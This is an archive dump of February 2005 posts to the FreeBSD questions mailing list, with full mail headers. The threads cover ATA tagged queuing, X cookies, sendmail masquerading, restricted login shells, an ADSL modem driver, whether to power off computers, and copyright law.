freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D200D16A4F2 for ; Sun, 6 Feb 2005 10:03:27 +0000 (GMT) Received: from av4-1-sn3.vrr.skanova.net (av4-1-sn3.vrr.skanova.net [81.228.9.111]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4051A43D2F for ; Sun, 6 Feb 2005 10:03:27 +0000 (GMT) (envelope-from homebell@telia.com) Received: by av4-1-sn3.vrr.skanova.net (Postfix, from userid 502) id 091DA37E63; Sun, 6 Feb 2005 11:03:26 +0100 (CET) Received: from smtp1-2-sn3.vrr.skanova.net (smtp1-2-sn3.vrr.skanova.net [81.228.9.178]) by av4-1-sn3.vrr.skanova.net (Postfix) with ESMTP id EAB3A37E61 for ; Sun, 6 Feb 2005 11:03:25 +0100 (CET) Received: from [192.168.0.3] (h138n2fls31o930.telia.com [217.210.244.138]) by smtp1-2-sn3.vrr.skanova.net (Postfix) with ESMTP id C9F7338014 for ; Sun, 6 Feb 2005 11:03:25 +0100 (CET) Message-ID: <4205EB6D.8040600@telia.com> Date: Sun, 06 Feb 2005 11:03:25 +0100 From: "Kjell B." Organization: Not particularly organized User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041206 Thunderbird/1.0 Mnenhy/0.7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Subject: ATA Tagged Queuing? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:03:29 -0000 I'm considering turning on Tagged Command Queuing in my ATA system. My disks are all Hitachi 7K250 (two HDS722512VLAT80 and one HDS722516VLAT80) which according to Hitachi support this feature (queue depth = 32). However, I read in http://lists.freebsd.org/pipermail/freebsd-current/2003-July/007378.html that there may be problems doing this and not really improving performance. Is that recommendation still valid or should I go for it? My uname: [homebell] ~> uname -a FreeBSD homebell.dyndns.org 4.10-RELEASE-p2 FreeBSD 4.10-RELEASE-p2 #0: Mon Oct 18 21:48:34 CEST 2004 homebell@homebell.dyndns.org:/usr/obj/usr/src/sys/HOMEBELLapmipfw i386 -- Kjell From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:05:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E4C0C16A4CE for ; Sun, 6 Feb 2005 10:05:04 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1CE1543D39 for ; Sun, 6 Feb 2005 10:05:04 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16A50Gf001464 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 02:05:01 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16A50KK001462; Sun, 6 Feb 2005 02:05:00 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 02:05:00 -0800 From: "Loren M. Lang" To: Gert Cuykens Message-ID: <20050206100500.GQ8619@alzatex.com> References: <20050202210526.GC77499@keyslapper.net> <42014E0A.5070003@mac.com> <20050203225835.GX8619@alzatex.com> <20050205064704.GH8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: freebsd-questions@freebsd.org Subject: Re: xhost +localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:05:05 -0000 On Sun, Feb 06, 2005 at 01:35:07AM +0100, Gert Cuykens wrote: > > Thx this clears alot of questions :) > > One more question doh, about the x cookie. > > > > How long does it take to calculate the x cookie string yourself of a > > user you want to hack :) > > > > PS is the x cookie in anyway related to the user passwd ? Completely unrelated, it's just a random number basicly. -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:07:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 946AD16A4CE for ; Sun, 6 Feb 2005 10:07:06 +0000 (GMT) Received: from smtp.ade.swiftdsl.com.au (smtp.ade.swiftdsl.com.au [218.214.228.98]) by mx1.FreeBSD.org (Postfix) with SMTP id 6227343D31 for ; Sun, 6 Feb 2005 10:07:05 +0000 (GMT) (envelope-from no-spam@swiftdsl.com.au) Received: (qmail 20547 invoked from network); 6 Feb 2005 10:07:07 -0000 Received: from unknown (HELO daemon.foo.lan) (218.214.176.70) by smtp.ade.swiftdsl.com.au with SMTP; 6 Feb 2005 10:07:07 -0000 From: Ian Moore To: freebsd-questions@freebsd.org User-Agent: KMail/1.7.2 MIME-Version: 1.0 Date: Sun, 6 Feb 2005 20:36:54 +1030 Content-Type: multipart/signed; boundary="nextPart6478555.NVT0AcOrnQ"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502062037.02494.no-spam@swiftdsl.com.au> Subject: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:07:06 -0000 --nextPart6478555.NVT0AcOrnQ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi, I'm hoping someone can help me with this. I want to make sendmail (on a 5.3-Release server) leave the host name out o= f=20 the sender address when sending mail from that machine. I.E. mail from root currently has a sender address of root@myhost.foo.bar, = I=20 want it to be root@foo.bar instead. I need to do this because our "smart host" mail server (over which I have n= o=20 control) rejects mail from our domain if it has a hostname in it. Since my= =20 server is in a VPN, I forward root's mail to my own account on the 'smart=20 host' server to make it accessible from outside the VPN. I think that the masquerading settings have changed somewhat since I last d= id=20 this. I read http://www.sendmail.org/m4/masquerading.html, it suggests=20 MASQUERADE_AS(`host.domain') but when I tried that, it didn't work. I believe it used to be just a matter of adding Dmfoo.bar to sendmail.cf &= =20 restart sendmail, but that doesn't work. I have commented out the C{E}root line so that doesn't override the Dm sett= ing=20 for root. Sorry this OT, I did try to find somewhere else to ask this question, but t= he=20 newsgroup listed on the sendmail site doesn't seem to exist (according to m= y=20 news reader) so I'm asking here instead. Cheers, =2D-=20 Ian GPG Key: http://home.swiftdsl.com.au/~imoore/no-spam.asc --nextPart6478555.NVT0AcOrnQ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCBexGPUlnmbKkJ6ARAhUuAJ9dS0Ep/ob0P4UtU3b+08dU9z7imACdEms7 A4pfddyBcI4jgYJSA/a5qYw= =1hI5 -----END PGP SIGNATURE----- --nextPart6478555.NVT0AcOrnQ-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:16:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86B0F16A4CE for ; Sun, 6 Feb 2005 10:16:58 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0491643D2D for ; Sun, 6 Feb 2005 10:16:58 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16AH0j98485 for ; Sun, 6 Feb 2005 02:17:00 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sun, 6 Feb 2005 02:16:57 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <77133904.20050206024859@wanadoo.fr> Importance: Normal Subject: RE: Running top without a shell -- more questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:16:58 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 05, 2005 5:49 PM > To: freebsd-questions@freebsd.org > Subject: Re: Running top without a shell -- more questions > > > John writes: > > J> No, there are HUGE security concerns. The big problem is that > J> many things have shell escapes. Top, as far as I know, does not. > > But it's shell escapes that generally create the security concerns, no? No, it depends on the application program. For example, ftp does not have a shell escape. But if you set up the ftp client program as a shell prompt for a user account with no password, then anyone and their dog could log into your system and send themselves a copy of your password file. (granted on FreeBSD it wouldn't have the crypted passwords, but it would have all the userID's so the cracker doesen't have much work to do) I've seen a few customers do baloney like this with commercial UNIX programs. Basically they setup the terminals so that instead of the users having to give a userID and password to login, the user just switches on the terminal and bang, the application program comes up on the screen. The usual piss-ant excuse is that the users whine about having to remember a username and password. I sometimes ask them if they have trained their night janitors and cleaning people on the application or if they just let them learn by themselves. Some application programs allow you to issue commands to the UNIX system even though they might not give you a shell prompt, so you can see where someone could have some fun. Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:28:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8355916A4CE for ; Sun, 6 Feb 2005 10:28:22 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2B2C843D1D for ; Sun, 6 Feb 2005 10:28:22 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16ASKj98530; Sun, 6 Feb 2005 02:28:21 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Ian Moore" , Date: Sun, 6 Feb 2005 02:28:17 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <200502062037.02494.no-spam@swiftdsl.com.au> Importance: Normal Subject: RE: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:28:22 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ian Moore > Sent: Sunday, February 06, 2005 2:07 AM > To: freebsd-questions@freebsd.org > Subject: Sendmail masquerading configuration > > > Hi, > I'm hoping someone can help me with this. > > I want to make sendmail (on a 5.3-Release server) leave the > host name out of > the sender address when sending mail from that machine. > I.E. mail from root currently has a sender address of > root@myhost.foo.bar, I > want it to be root@foo.bar instead. > Not possible, I think, as I recall masquerading only works on users not in the T macro. (ie: Trusted Users) root is most definitely in this macro. Masquerading is a bullshit way of doing this kind of thing anyhow. Use the -f switch if your calling the sendmail binary directly from programs. If your using /bin/mail as a MUA, then get a better one like Elm or Pine that lets you do this. Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:39:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C603016A4CE for ; Sun, 6 Feb 2005 10:39:34 +0000 (GMT) Received: from web61305.mail.yahoo.com (web61305.mail.yahoo.com [216.155.196.148]) by mx1.FreeBSD.org (Postfix) with SMTP id 444A443D3F for ; Sun, 6 Feb 2005 10:39:34 +0000 (GMT) (envelope-from strimmer_x@yahoo.com) Received: (qmail 1907 invoked by uid 60001); 6 Feb 2005 10:39:33 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=jtG0BlZMq5+hWUBpGtexRs3kmBFz6RtI9H2SYFKZKjyAaOInEVZEtTSxiqmnixA95s//G/yWEPy0emajecD5U4SfCiiRSZM4SB93K+EDwksPnbaB09RsfWWTGFbGiP+/6DKGsyrwvIAnOajyAFFe4klwUSis3qvjENQgGDB1Ny8= ; Message-ID: <20050206103933.1905.qmail@web61305.mail.yahoo.com> Received: from [195.131.123.134] by web61305.mail.yahoo.com via HTTP; Sun, 06 Feb 2005 02:39:33 PST Date: Sun, 6 Feb 2005 02:39:33 -0800 (PST) From: Gosha Sh To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: zyxel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:39:34 -0000 Hello! i have Zyxel omni adsl usb ee(Alcatel chipset),but it works only under linux or windows... but i need it working under FreeBSD!!!I've searched google and freebsd.org,but i didn't find anything related this aspect.Drivers under linux were created 3 years ago,and i wonder why there is no support under freebsd....if you know some information about it,please,answer! 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Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:43:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E2BEF16A4CE for ; Sun, 6 Feb 2005 10:43:53 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5670843D3F for ; Sun, 6 Feb 2005 10:43:53 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j16Ahsj98578; Sun, 6 Feb 2005 02:43:54 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Peterhin" , Date: Sun, 6 Feb 2005 02:43:50 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <200502051745.25937.hindrich@worldchat.com> Importance: Normal Subject: RE: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:43:54 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Peterhin > Sent: Saturday, February 05, 2005 2:45 PM > To: freebsd-questions@freebsd.org > Subject: Leaving a Computer Running ? > > > > Is it better to leave a computer (a stand alone) running > continuously or > is it OK to shut it down at the end of the day.? It is better to shut it down at the end of the day, unless it will have periods of time (such as weeks) where it will need to be left on continuously. > I remember years ago someone mentioned that it is better for the > circuitry to leave it running. No. The problem is in disk drives and power supply and CPU fans. Fans in computers today aren't what they used to be. Most of them have very bad or nonexistent dust shields and so the longer they run the more dust gets into their bearings, whereupon the bearings eventually get clogged and the fan stops turning. Periodically taking apart the PC and blowing it out with compressed air does not lengthen the life of the fans, although it is a good idea to do as it helps the machine run cooler (as long as the fan is still working) Once the fan stops the electronics overheats and becomes unreliable. Disk drives are particularly suceptible to damage from overheating and will fail years before a circuit board in an overheat situation. In a clean room or positive pressure network room, where there is an extremely low level of dust, off-the-shelf computer fans will last many years longer than fans in a typical home PC. So for the daily driver PC's you want to turn them off to lengthen the life of the fans. For PC's left on for long periods, they have a different problem because disk drives that spin at full speed continuiously (as server drives do, servers have power saving disabled on their drives of course for obvious reasons) the disk will eventually overheat in just about all the garden-variety case designs. (you can fix this yourself of course, by adding more fans to the cases) Once the drive overheats the lubrication migrates out of the bearings and if the drive is turned off for more than 6-8 hours, it cools down enough to the point that the drive will never spin up again. Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:50:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E90E616A4CF for ; Sun, 6 Feb 2005 10:50:11 +0000 (GMT) Received: from smtp.ade.swiftdsl.com.au (smtp.ade.swiftdsl.com.au [218.214.228.98]) by mx1.FreeBSD.org (Postfix) with SMTP id D945D43D48 for ; Sun, 6 Feb 2005 10:50:06 +0000 (GMT) (envelope-from no-spam@swiftdsl.com.au) Received: (qmail 20632 invoked from network); 6 Feb 2005 10:50:09 -0000 Received: from unknown (HELO daemon.foo.lan) (218.214.176.70) by smtp.ade.swiftdsl.com.au with SMTP; 6 Feb 2005 10:50:09 -0000 From: Ian Moore To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 21:19:56 +1030 User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart11189626.ZmyBy2ZLnY"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502062120.04731.no-spam@swiftdsl.com.au> cc: Ted Mittelstaedt Subject: Re: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:50:12 -0000 --nextPart11189626.ZmyBy2ZLnY Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Sun, 6 Feb 2005 20:58, Ted Mittelstaedt wrote: > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ian Moore > > Sent: Sunday, February 06, 2005 2:07 AM > > To: freebsd-questions@freebsd.org > > Subject: Sendmail masquerading configuration > > > > > > Hi, > > I'm hoping someone can help me with this. > > > > I want to make sendmail (on a 5.3-Release server) leave the > > host name out of > > the sender address when sending mail from that machine. > > I.E. mail from root currently has a sender address of > > root@myhost.foo.bar, I > > want it to be root@foo.bar instead. > > Not possible, I think, as I recall masquerading only works on > users not in the T macro. (ie: Trusted Users) root is > most definitely in this macro. I guess even if I redirect root's mail to another user & forward that to my= =20 account on the ISP's server, it wouldn't work for the same reason. > Masquerading is a bullshit way of doing this kind of > thing anyhow. Use the -f switch if your calling the sendmail > binary directly from programs. If your using /bin/mail > as a MUA, then get a better one like Elm or Pine that > lets you do this. It's mail from cron, periodic etc. that I want to redirect to my work email= =20 account, so i can tell if my server is still alive when I'm on holidays. This wasn't a problem until a few days ago when our ISP started blocking ma= il=20 with a hostname attached. Cheers, =2D-=20 Ian GPG Key: http://home.swiftdsl.com.au/~imoore/no-spam.asc --nextPart11189626.ZmyBy2ZLnY Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCBfZcPUlnmbKkJ6ARAu3gAJ49dG1L4flXshEs/SrvNbmBhZjwiACfZEpM NYnL1evrTQWsGrMSm0/Ymwk= =kYgZ -----END PGP SIGNATURE----- --nextPart11189626.ZmyBy2ZLnY-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:53:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C553A16A4CE for ; Sun, 6 Feb 2005 10:53:42 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4023843D48 for ; Sun, 6 Feb 2005 10:53:42 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 76A081C0008D for ; Sun, 6 Feb 2005 11:53:41 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 4228C1C0008C for ; Sun, 6 Feb 2005 11:53:41 +0100 (CET) X-ME-UUID: 20050206105341271.4228C1C0008C@mwinf1104.wanadoo.fr Date: Sun, 6 Feb 2005 11:53:40 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1837626073.20050206115340@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <16901.34645.144852.476246@szamoca.krvarr.bc.ca> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> <1258430214.20050206025603@wanadoo.fr> <16901.34645.144852.476246@szamoca.krvarr.bc.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:53:43 -0000 Sandy Rutherford writes: SR> Hold on a second. Shared P-to-P directories certainly are indexed and SR> Finckenstein knew this. Where are they indexed? I though P-to-P was a proprietary protocol--which implies that public services like Google can't index it. An index internal to the P-to-P system wouldn't count, because it would still be effectively visible only to people using that system ... like e-mail systems. SR> True, but it is not the person who puts the content on a website that SR> is doing the copying. It is the person who downloads it. If the content came from another Web site, it was copied. Google copies content, for example, when it caches indexed Web pages. And indeed, it also downloads the content, since it has to do that to get it from the original site in the first place. SR> If I own a CD, then it is legal for me to make as many copies as I SR> wish, as long as I don't distribute them. And as long as the extra copies don't allow you deprive the copyright owner of revenue in some way, usually. For example, if it allows you to run multiple copies of a game for all the people in your office, it's probably an infringement. SR> He certainly did understand the issue, at least as it relates to SR> Canadian copyright law. (He is a justice of the Federal Court of SR> Appeals, after all. He does know his law.) I'm sure he knows the law. But a lot of judges don't know the technology. They can apply the law correctly if they understand exactly what the technology is doing, but often they don't know exactly what the technology is doing and rely on incomplete analogies they've read or heard somewhere. SR> It is important to remember that copyright and patent rights are not SR> "God-given rights". Like all jurisprudence, they are man-made for SR> purely pragmatic reasons. It is in the best interests of society SR> that creativity be fostered. Creativity is best fostered by SR> protecting intellectual property rights, but not doing so in a SR> manner which overly restricts the free-flow of ideas. Agreed. Which is why I think copyright should be rolled back to the original term of 28 years, renewable once. This "lifetime of the author plus 1000 years" trend is ridiculous. But while copyright is in effect, it must be observed, in order to keep the creators of content from starving. SR> A delicate balance must be struck. Looking for ways to adapt the SR> current copyright and patent laws, which were largely devised at the SR> time of the industrial revolution, to the computer age is basically SR> an exercise in pounding a square peg through a round hole. SR> Finckenstein recognized that these issues should not be decided in SR> the courts, because they are primarily not legal issues. They are SR> matters of social policy, which ultimately should be decided in SR> Parliament. By taking such a restrictive view of how current SR> copyright laws extend to electronic publication, Finckenstein was SR> challenging Parliament to throw out the current laws and rethink the SR> entire matter from scratch. In my view, this is a good approach. Traditionally IP decisions have often been a roll of the dice, so I don't know if that will work. It might just encourage Parliament to leave things alone, relying instead on courts' discretion (and thus making the roll of the dice even more random). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:59:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6420516A4CE for ; Sun, 6 Feb 2005 10:59:47 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id DE57C43D49 for ; Sun, 6 Feb 2005 10:59:46 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 1F5701C000A6 for ; Sun, 6 Feb 2005 11:59:46 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id ED1B91C000A0 for ; Sun, 6 Feb 2005 11:59:45 +0100 (CET) X-ME-UUID: 20050206105945971.ED1B91C000A0@mwinf1107.wanadoo.fr Date: Sun, 6 Feb 2005 11:59:45 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <15010522197.20050206115945@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502052246.57343.ken_jennings@bellsouth.net> References: <200502051745.25937.hindrich@worldchat.com> <15210109162.20050206001338@wanadoo.fr> <200502052246.57343.ken_jennings@bellsouth.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 10:59:47 -0000 Kenneth Jennings writes: KJ> Ah. I bet there are more than a few people here who can repeat a KJ> horror story about what happened when a long running server was shut KJ> down. Yes, I'm one of them. Many people believe that if a fan or disk drive is showing signs of impending failure, it should be left running continuously, as continuous running is much less stressful than a stop/start cycle, and the stress of stopping and starting the drive might be more than it can take, whereas the lower stress of just running might still be within its tolerance. Of course, you have to replace the drive or fan eventually, but sometimes that cannot be done instantly. KJ> I remember several years ago we had a HP server at work that had KJ> been running nonstop for about three years. One day, due to a major KJ> electrical upgrade in the computer room, the sysadmin had to cold KJ> start it. Three hard drives would not come back up. Everyone except KJ> the sysadmins had a four-day weekend. I have a crusty old server here that has drives that occasionally make noise. I'm afraid to turn it off. They don't make the kind of drives it uses anymore. I'd like to move legacy stuff off the machine and install another FreeBSD, but the floppy drive stopped working as well and the machine refuses to boot directly from CD, even though it's equipped to do so. KJ> I have a file server in the house that runs continuously. It sits on KJ> an UPS. Everything else is shut down at night. My FreeBSD server runs continuously because it has to: it holds my Web site, my e-mail server, my DNS server, my NTP server, etc. The other machines run continuously because it's more convenient and because I worry about machines not coming back up again if I power-cycle them. Fortunately, I built this latest FreeBSD server myself from quality components and hopefully it has many years of reliable 24/7 service ahead of it. Budget constraints forced me to buy a cheapo predecessor and it failed abruptly when the CPU fan gave out. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:12:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E851216A4CF for ; Sun, 6 Feb 2005 11:12:26 +0000 (GMT) Received: from smtp1.adl2.internode.on.net (smtp1.adl2.internode.on.net [203.16.214.181]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9725143D31 for ; Sun, 6 Feb 2005 11:12:25 +0000 (GMT) (envelope-from ws+freebsd-questions@au.dyndns.ws) Received: from lillith-iv.ovirt.dyndns.ws (castlepoint.link.internode.on.net [150.101.249.49] (may be forged))j16BCNh5012556 for ; Sun, 6 Feb 2005 21:42:24 +1030 (CST) X-Envelope-From: ws+freebsd-questions@au.dyndns.ws X-Envelope-To: Received: from 